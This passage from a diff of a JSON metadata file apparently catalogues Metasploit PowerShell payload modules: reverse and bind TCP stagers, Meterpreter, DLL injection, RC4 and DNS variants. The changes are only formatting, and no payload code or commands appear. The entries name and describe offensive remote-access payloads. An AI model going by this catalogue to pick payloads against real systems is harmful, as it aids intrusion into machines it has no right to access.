Exec, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -225917,8 +200718,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -225931,9 +200731,7 @@ "payload_cmd/windows/powershell/meterpreter/reverse_tcp_rc4_dns": { "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_tcp_rc4_dns", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -225964,8 +200762,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -225978,9 +200775,7 @@ "payload_cmd/windows/powershell/meterpreter/reverse_tcp_uuid": { "name": "Powershell Exec, Reverse TCP Stager with UUID Support", "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -226009,8 +200804,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -226023,9 +200817,7 @@ "payload_cmd/windows/powershell/meterpreter/reverse_winhttp": { "name": "Powershell Exec, Windows Reverse HTTP Stager (winhttp)", "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_winhttp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -226055,8 +200847,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -226069,9 +200860,7 @@ "payload_cmd/windows/powershell/meterpreter/reverse_winhttps": { "name": "Powershell Exec, Windows Reverse HTTPS Stager (winhttp)", "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_winhttps", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -226101,8 +200890,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -226115,9 +200903,7 @@ "payload_cmd/windows/powershell/metsvc_bind_tcp": { "name": "Powershell Exec, Windows Meterpreter Service, Bind TCP", "fullname": "payload/cmd/windows/powershell/metsvc_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -226126,9 +200912,7 @@ "hdm " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nStub payload for interacting with a Meterpreter Service", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -226142,8 +200926,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -226154,9 +200937,7 @@ "payload_cmd/windows/powershell/metsvc_reverse_tcp": { "name": "Powershell Exec, Windows Meterpreter Service, Reverse TCP Inline", "fullname": "payload/cmd/windows/powershell/metsvc_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -226165,9 +200946,7 @@ "hdm " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nStub payload for interacting with a Meterpreter Service", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -226181,8 +200960,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -226193,9 +200971,7 @@ "payload_cmd/windows/powershell/patchupdllinject/bind_hidden_ipknock_tcp": { "name": "Powershell Exec, Hidden Bind Ipknock TCP Stager", "fullname": "payload/cmd/windows/powershell/patchupdllinject/bind_hidden_ipknock_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -226224,8 +201000,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -226238,9 +201013,7 @@ "payload_cmd/windows/powershell/patchupdllinject/bind_hidden_tcp": { "name": "Powershell Exec, Hidden Bind TCP Stager", "fullname": "payload/cmd/windows/powershell/patchupdllinject/bind_hidden_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -226269,8 +201042,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -226283,9 +201055,7 @@ "payload_cmd/windows/powershell/patchupdllinject/bind_ipv6_tcp": { "name": "Powershell Exec, Bind IPv6 TCP Stager (Windows x86)", "fullname": "payload/cmd/windows/powershell/patchupdllinject/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -226297,9 +201067,7 @@ "sf " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for an IPv6 connection (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -226313,8 +201081,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -226327,9 +201094,7 @@ "payload_cmd/windows/powershell/patchupdllinject/bind_ipv6_tcp_uuid": { "name": "Powershell Exec, Bind IPv6 TCP Stager with UUID Support (Windows x86)", "fullname": "payload/cmd/windows/powershell/patchupdllinject/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -226342,9 +201107,7 @@ "OJ Reeves" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for an IPv6 connection with UUID Support (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -226358,8 +201121,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -226372,9 +201134,7 @@ "payload_cmd/windows/powershell/patchupdllinject/bind_named_pipe": { "name": "Powershell Exec, Windows x86 Bind Named Pipe Stager", "fullname": "payload/cmd/windows/powershell/patchupdllinject/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -226385,9 +201145,7 @@ "UserExistsError" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a pipe connection (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -226401,8 +201159,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -226415,9 +201172,7 @@ "payload_cmd/windows/powershell/patchupdllinject/bind_nonx_tcp": { "name": "Powershell Exec, Bind TCP Stager (No NX or Win7)", "fullname": "payload/cmd/windows/powershell/patchupdllinject/bind_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -226428,9 +201183,7 @@ "vlad902 " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection (No NX)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -226444,8 +201197,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -226458,9 +201210,7 @@ "payload_cmd/windows/powershell/patchupdllinject/bind_tcp": { "name": "Powershell Exec, Bind TCP Stager (Windows x86)", "fullname": "payload/cmd/windows/powershell/patchupdllinject/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -226472,9 +201222,7 @@ "sf " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -226488,8 +201236,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -226502,9 +201249,7 @@ "payload_cmd/windows/powershell/patchupdllinject/bind_tcp_rc4": { "name": "Powershell Exec, Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/powershell/patchupdllinject/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -226518,9 +201263,7 @@ "RageLtMan" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -226534,8 +201277,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -226548,9 +201290,7 @@ "payload_cmd/windows/powershell/patchupdllinject/bind_tcp_uuid": { "name": "Powershell Exec, Bind TCP Stager with UUID Support (Windows x86)", "fullname": "payload/cmd/windows/powershell/patchupdllinject/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -226562,9 +201302,7 @@ "OJ Reeves" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection with UUID Support (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -226578,8 +201316,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -226592,9 +201329,7 @@ "payload_cmd/windows/powershell/patchupdllinject/find_tag": { "name": "Powershell Exec, Find Tag Ordinal Stager", "fullname": "payload/cmd/windows/powershell/patchupdllinject/find_tag", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -226604,9 +201339,7 @@ "skape " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nUse an established connection", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -226620,8 +201353,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -226634,9 +201366,7 @@ "payload_cmd/windows/powershell/patchupdllinject/reverse_ipv6_tcp": { "name": "Powershell Exec, Reverse TCP Stager (IPv6)", "fullname": "payload/cmd/windows/powershell/patchupdllinject/reverse_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -226648,9 +201378,7 @@ "sf " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker over IPv6", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -226664,8 +201392,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -226678,9 +201405,7 @@ "payload_cmd/windows/powershell/patchupdllinject/reverse_nonx_tcp": { "name": "Powershell Exec, Reverse TCP Stager (No NX or Win7)", "fullname": "payload/cmd/windows/powershell/patchupdllinject/reverse_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -226691,9 +201416,7 @@ "vlad902 " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker (No NX)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -226707,8 +201430,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -226721,9 +201443,7 @@ "payload_cmd/windows/powershell/patchupdllinject/reverse_ord_tcp": { "name": "Powershell Exec, Reverse Ordinal TCP Stager (No NX or Win7)", "fullname": "payload/cmd/windows/powershell/patchupdllinject/reverse_ord_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -226734,9 +201454,7 @@ "spoonm " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -226750,8 +201468,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -226764,9 +201481,7 @@ "payload_cmd/windows/powershell/patchupdllinject/reverse_tcp": { "name": "Powershell Exec, Reverse TCP Stager", "fullname": "payload/cmd/windows/powershell/patchupdllinject/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -226778,9 +201493,7 @@ "sf " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -226794,8 +201507,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -226808,9 +201520,7 @@ "payload_cmd/windows/powershell/patchupdllinject/reverse_tcp_allports": { "name": "Powershell Exec, Reverse All-Port TCP Stager", "fullname": "payload/cmd/windows/powershell/patchupdllinject/reverse_tcp_allports", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -226822,9 +201532,7 @@ "sf " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nTry to connect back to the attacker, on all possible ports (1-65535, slowly)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -226838,8 +201546,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -226852,9 +201559,7 @@ "payload_cmd/windows/powershell/patchupdllinject/reverse_tcp_dns": { "name": "Powershell Exec, Reverse TCP Stager (DNS)", "fullname": "payload/cmd/windows/powershell/patchupdllinject/reverse_tcp_dns", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -226867,9 +201572,7 @@ "RageLtMan" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -226883,8 +201586,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -226897,9 +201599,7 @@ "payload_cmd/windows/powershell/patchupdllinject/reverse_tcp_rc4": { "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/powershell/patchupdllinject/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -226913,9 +201613,7 @@ "RageLtMan" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -226929,8 +201627,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -226943,9 +201640,7 @@ "payload_cmd/windows/powershell/patchupdllinject/reverse_tcp_rc4_dns": { "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", "fullname": "payload/cmd/windows/powershell/patchupdllinject/reverse_tcp_rc4_dns", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -226959,9 +201654,7 @@ "RageLtMan" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -226975,8 +201668,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -226989,9 +201681,7 @@ "payload_cmd/windows/powershell/patchupdllinject/reverse_tcp_uuid": { "name": "Powershell Exec, Reverse TCP Stager with UUID Support", "fullname": "payload/cmd/windows/powershell/patchupdllinject/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -227003,9 +201693,7 @@ "OJ Reeves" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker with UUID Support", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -227019,8 +201707,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -227033,9 +201720,7 @@ "payload_cmd/windows/powershell/patchupmeterpreter/bind_hidden_ipknock_tcp": { "name": "Powershell Exec, Hidden Bind Ipknock TCP Stager", "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/bind_hidden_ipknock_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -227064,8 +201749,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -227078,9 +201762,7 @@ "payload_cmd/windows/powershell/patchupmeterpreter/bind_hidden_tcp": { "name": "Powershell Exec, Hidden Bind TCP Stager", "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/bind_hidden_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -227109,8 +201791,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -227123,9 +201804,7 @@ "payload_cmd/windows/powershell/patchupmeterpreter/bind_ipv6_tcp": { "name": "Powershell Exec, Bind IPv6 TCP Stager (Windows x86)", "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -227137,9 +201816,7 @@ "sf " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for an IPv6 connection (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -227153,8 +201830,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -227167,9 +201843,7 @@ "payload_cmd/windows/powershell/patchupmeterpreter/bind_ipv6_tcp_uuid": { "name": "Powershell Exec, Bind IPv6 TCP Stager with UUID Support (Windows x86)", "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -227182,9 +201856,7 @@ "OJ Reeves" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for an IPv6 connection with UUID Support (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -227198,8 +201870,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -227212,9 +201883,7 @@ "payload_cmd/windows/powershell/patchupmeterpreter/bind_named_pipe": { "name": "Powershell Exec, Windows x86 Bind Named Pipe Stager", "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -227225,9 +201894,7 @@ "UserExistsError" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a pipe connection (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -227241,8 +201908,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -227255,9 +201921,7 @@ "payload_cmd/windows/powershell/patchupmeterpreter/bind_nonx_tcp": { "name": "Powershell Exec, Bind TCP Stager (No NX or Win7)", "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/bind_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -227268,9 +201932,7 @@ "vlad902 " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection (No NX)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -227284,8 +201946,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -227298,9 +201959,7 @@ "payload_cmd/windows/powershell/patchupmeterpreter/bind_tcp": { "name": "Powershell Exec, Bind TCP Stager (Windows x86)", "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -227312,9 +201971,7 @@ "sf " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -227328,8 +201985,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -227342,9 +201998,7 @@ "payload_cmd/windows/powershell/patchupmeterpreter/bind_tcp_rc4": { "name": "Powershell Exec, Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -227358,9 +202012,7 @@ "RageLtMan" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -227374,8 +202026,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -227388,9 +202039,7 @@ "payload_cmd/windows/powershell/patchupmeterpreter/bind_tcp_uuid": { "name": "Powershell Exec, Bind TCP Stager with UUID Support (Windows x86)", "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -227402,9 +202051,7 @@ "OJ Reeves" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection with UUID Support (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -227418,8 +202065,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -227432,9 +202078,7 @@ "payload_cmd/windows/powershell/patchupmeterpreter/find_tag": { "name": "Powershell Exec, Find Tag Ordinal Stager", "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/find_tag", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -227444,9 +202088,7 @@ "jt " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nUse an established connection", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -227460,8 +202102,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -227474,9 +202115,7 @@ "payload_cmd/windows/powershell/patchupmeterpreter/reverse_ipv6_tcp": { "name": "Powershell Exec, Reverse TCP Stager (IPv6)", "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/reverse_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -227488,9 +202127,7 @@ "sf " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker over IPv6", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -227504,8 +202141,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -227518,9 +202154,7 @@ "payload_cmd/windows/powershell/patchupmeterpreter/reverse_nonx_tcp": { "name": "Powershell Exec, Reverse TCP Stager (No NX or Win7)", "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/reverse_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -227531,9 +202165,7 @@ "vlad902 " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker (No NX)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -227547,8 +202179,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -227561,9 +202192,7 @@ "payload_cmd/windows/powershell/patchupmeterpreter/reverse_ord_tcp": { "name": "Powershell Exec, Reverse Ordinal TCP Stager (No NX or Win7)", "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/reverse_ord_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -227574,9 +202203,7 @@ "spoonm " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -227590,8 +202217,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -227604,9 +202230,7 @@ "payload_cmd/windows/powershell/patchupmeterpreter/reverse_tcp": { "name": "Powershell Exec, Reverse TCP Stager", "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -227618,9 +202242,7 @@ "sf " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -227634,8 +202256,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -227648,9 +202269,7 @@ "payload_cmd/windows/powershell/patchupmeterpreter/reverse_tcp_allports": { "name": "Powershell Exec, Reverse All-Port TCP Stager", "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/reverse_tcp_allports", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -227662,9 +202281,7 @@ "sf " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nTry to connect back to the attacker, on all possible ports (1-65535, slowly)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -227678,8 +202295,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -227692,9 +202308,7 @@ "payload_cmd/windows/powershell/patchupmeterpreter/reverse_tcp_dns": { "name": "Powershell Exec, Reverse TCP Stager (DNS)", "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/reverse_tcp_dns", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -227707,9 +202321,7 @@ "RageLtMan" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -227723,8 +202335,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -227737,9 +202348,7 @@ "payload_cmd/windows/powershell/patchupmeterpreter/reverse_tcp_rc4": { "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -227753,9 +202362,7 @@ "RageLtMan" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -227769,8 +202376,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -227783,9 +202389,7 @@ "payload_cmd/windows/powershell/patchupmeterpreter/reverse_tcp_rc4_dns": { "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/reverse_tcp_rc4_dns", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -227799,9 +202403,7 @@ "RageLtMan" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -227815,8 +202417,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -227829,9 +202430,7 @@ "payload_cmd/windows/powershell/patchupmeterpreter/reverse_tcp_uuid": { "name": "Powershell Exec, Reverse TCP Stager with UUID Support", "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], 